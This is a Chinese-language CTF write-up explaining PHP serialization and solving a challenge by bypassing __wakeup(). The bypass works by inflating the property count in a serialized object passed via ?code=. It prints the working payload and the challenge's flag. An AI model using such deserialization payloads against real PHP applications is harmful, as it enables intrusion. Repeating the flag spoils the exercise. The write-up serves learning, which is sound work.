首先看题目:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
题目给的提示已经很明显了,是php的反序列化漏洞。
首先补充一下序列化和反序列化的相关知识,序列化和反序列化可以简单理解为一个打包和解包的过程(个人理解),就是通过这一过程将一个东西转变成另外一种形式(本质是一样的),这样转换的目的是便于传输或者有其他功能。在php中,序列和和反序列化有两个函数如下:
serialize()
将一个对象转换成一个字符串。
unserialize()
将字符串还原为一个对象。
这两个方法是如何使用的呢?先看代码
class test
{
public $id;
private $name;
public function __construct($name,$id)
{
$this->id = $id;
$this->name = $name;
}
public function print()
{
echo $this->name.PHP_EOL;
}
public function __sleep()
{
//序列化之前执行,设置序列化哪些变量
return ["id","name"];
}
public function __wakeup()
{
//反序列化之前执行,设置变量的值
$this->name = 'xiaowang';
}
}
$obj = new test('xiaozhang',1);
$obj->print();//此时的名字叫小张
$sStr = serialize($obj);
echo $sStr.PHP_EOL;
$str = unserialize($sStr);
$str->print();//此时的名字叫小王
test
对象里面有两个变量和一个方法,在序列化之后
"O:4:"test":2:{s:2:"id";i:1;s:10:"testname";s:9:"xiaozhang";}"
可以看到只序列化对象及里面的变量,方法不管。O
代表对象,4
表示对象名的长度,test
是对象名,2
里面有两个值,注意private
变量序列化之后变成对象名+变量名,而且长度多了2位,testname
的长度为8,现在是10,原因在于test
前后多了%00
,便于区分,即%00test%00name
。
反序列化利用有很多姿势,这个题目主要是利用了在某些版本(偷懒了)的php中,待反序列化的字符串中变量的个数(例子中test后面的2)超过了实际test类中变量的个数,__wakeup()
方法会直接跳过不执行。
我们回过头来看题目
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
xctf
类有1个变量,首先序列化一下xctf实例。
$obj = new xctf();
$str = serialize($obj);
echo $str;
打印出结果为O:4:"xctf":1:{s:4:"flag";s:3:"111";}
,题目中给出了很明显的提示?code=
,直接输入?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
,把1改为2。就绕过了wakeup
方法,不会exit
出去得到flag。
the answer is : cyberpeace{218162f9f1d3b48f5b25354d8a6da945}